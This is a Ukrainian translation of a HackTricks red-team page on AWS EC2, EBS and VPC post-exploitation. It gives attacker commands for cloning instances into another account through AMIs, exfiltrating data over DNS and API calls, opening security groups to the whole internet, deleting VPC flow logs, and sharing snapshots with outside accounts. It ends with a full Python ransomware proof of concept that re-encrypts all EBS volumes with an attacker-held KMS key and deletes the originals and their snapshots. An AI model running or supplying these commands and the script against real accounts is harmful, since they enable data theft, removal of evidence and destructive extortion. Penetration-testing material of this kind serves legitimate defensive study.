AWS - EC2, EBS, SSM & VPC Post Exploitation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

EC2 та VPC

Для отримання додаткової інформації перевірте:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Зловмисне дзеркало VPC - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

Дзеркалювання трафіку VPC дублює вхідний та вихідний трафік для екземплярів EC2 в межах VPC без необхідності встановлювати що-небудь на самі екземпляри. Цей дубльований трафік зазвичай надсилається на щось на кшталт системи виявлення вторгнень в мережу (IDS) для аналізу та моніторингу. Атакувальник може використовувати це для захоплення всього трафіку та отримання чутливої інформації з нього:

Для отримання додаткової інформації перевірте цю сторінку:

pageAWS - Malicious VPC Mirror

Копіювання запущеного екземпляра

Екземпляри зазвичай містять якусь чутливу інформацію. Є різні способи потрапити всередину (перевірте хитрощі підвищення привілеїв EC2). Однак інший спосіб перевірити, що вони містять, - створити AMI та запустити новий екземпляр (навіть у власному обліковому записі) з нього:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Знімок EBS

Знімки - це резервні копії томів, які зазвичай містять чутливу інформацію, тому перевірка їх повинна розкрити цю інформацію. Якщо ви знайдете том без знімка, ви можете: створити знімок і виконати наступні дії або просто підключити його до екземпляра всередині облікового запису:

pageAWS - EBS Snapshot Dump

Екстракція даних

Екстракція через DNS

Навіть якщо ви заблокуєте EC2, щоб ніякий трафік не міг виходити, він все одно може екстрагуватися через DNS.

  • Журнали потоків VPC цього не зафіксують.

  • У вас немає доступу до журналів DNS AWS.

  • Вимкніть це, встановивши "enableDnsSupport" в значення false за допомогою:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Екстракція через виклики API

Атакувальник може викликати точки API облікового запису, яким він керує. Cloudtrail зареєструє ці виклики, і атакувальник зможе побачити екстраговані дані в журналах Cloudtrail.

Відкрита група безпеки

Ви можете отримати додатковий доступ до мережевих служб, відкривши порти таким чином:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Підвищення привілеїв до ECS

Можливо запустити екземпляр EC2 та зареєструвати його для використання у запуску екземплярів ECS, а потім вкрасти дані екземплярів ECS.

Для додаткової інформації перевірте це.

Видалення журналів потоку VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Поділитися AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Поділитися знімком EBS

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Доказ відповідно до концепції, схожої на демонстрацію Ransomware, продемонстровану в нотатках по експлуатації після S3. KMS слід перейменувати на RMS для служби управління вимаганнями викупу, оскільки дуже легко використовувати його для шифрування різних служб AWS.

Спочатку з облікового запису AWS 'зловмисника' створіть керований клієнтом ключ в KMS. На цьому прикладі ми просто дозволимо AWS керувати даними ключа для мене, але в реалістичному сценарії зловмисний актор зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє доступ, називається 'Зовнішнє шифрування'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Правило політики ключа потребує наступного увімкнення для можливості використання його для шифрування тома EBS:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Тепер, коли ключ доступний для використання, ми можемо використовувати обліковий запис "жертви", у якого запущено деякі екземпляри EC2 з приєднаними незашифрованими томами EBS. Ці томи EBS облікового запису "жертви" - це те, на що ми спрямовуємо шифрування, цей атака відбувається під час припущеного порушення високопривілейованого облікового запису AWS.

Подібно до прикладу розшифрування S3. Ця атака створить копії приєднаних томів EBS за допомогою знімків, використовуватиме публічно доступний ключ з облікового запису "зловмисника" для шифрування нових томів EBS, потім від'єднає оригінальні томи EBS від екземплярів EC2 та видалить їх, а потім видалить знімки, використані для створення нових зашифрованих томів EBS.

Це призводить до того, що в обліковому записі залишаються лише зашифровані томи EBS.

Також варто зазначити, що скрипт зупинив екземпляри EC2 для від'єднання та видалення оригінальних томів EBS. Оригінальні незашифровані томи тепер відсутні.

Далі поверніться до політики ключа в обліковому записі "зловмисника" та видаліть правило політики "Зовнішнє шифрування" з політики ключа.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Зачекайте хвилину, щоб нова політика ключа поширилася. Потім поверніться до облікового запису "жертви" і спробуйте прикріпити один з новошифрованих томів EBS. Ви помітите, що можете прикріпити том.

Але коли ви спробуєте фактично знову запустити екземпляр EC2 з зашифрованим томом EBS, він просто не запуститься і перейде зі стану "очікування" до стану "зупинено" назавжди, оскільки прикріплений том EBS не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє цього.

Це скрипт Python, який використовується. Він приймає дані AWS для облікового запису "жертви" та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних томів EBS, прикріплених до ВСІХ екземплярів EC2 в цільовому обліковому записі AWS, потім зупинить кожен екземпляр EC2, від'єднає оригінальні томи EBS, видалить їх, а потім видалить всі снапшоти, використані під час процесу. Це залишить лише зашифровані томи EBS в цільовому обліковому записі "жертви". ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН РУЙНІВНИЙ І ВИДАЛИТЬ ВСІ ОРИГІНАЛЬНІ ТОМИ EBS. Ви можете відновити їх, використовуючи використаний ключ KMS та відновити їх до їхнього початкового стану через снапшоти, але просто хочу попередити вас, що це PoC вірусу-вимагача в кінці дня.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated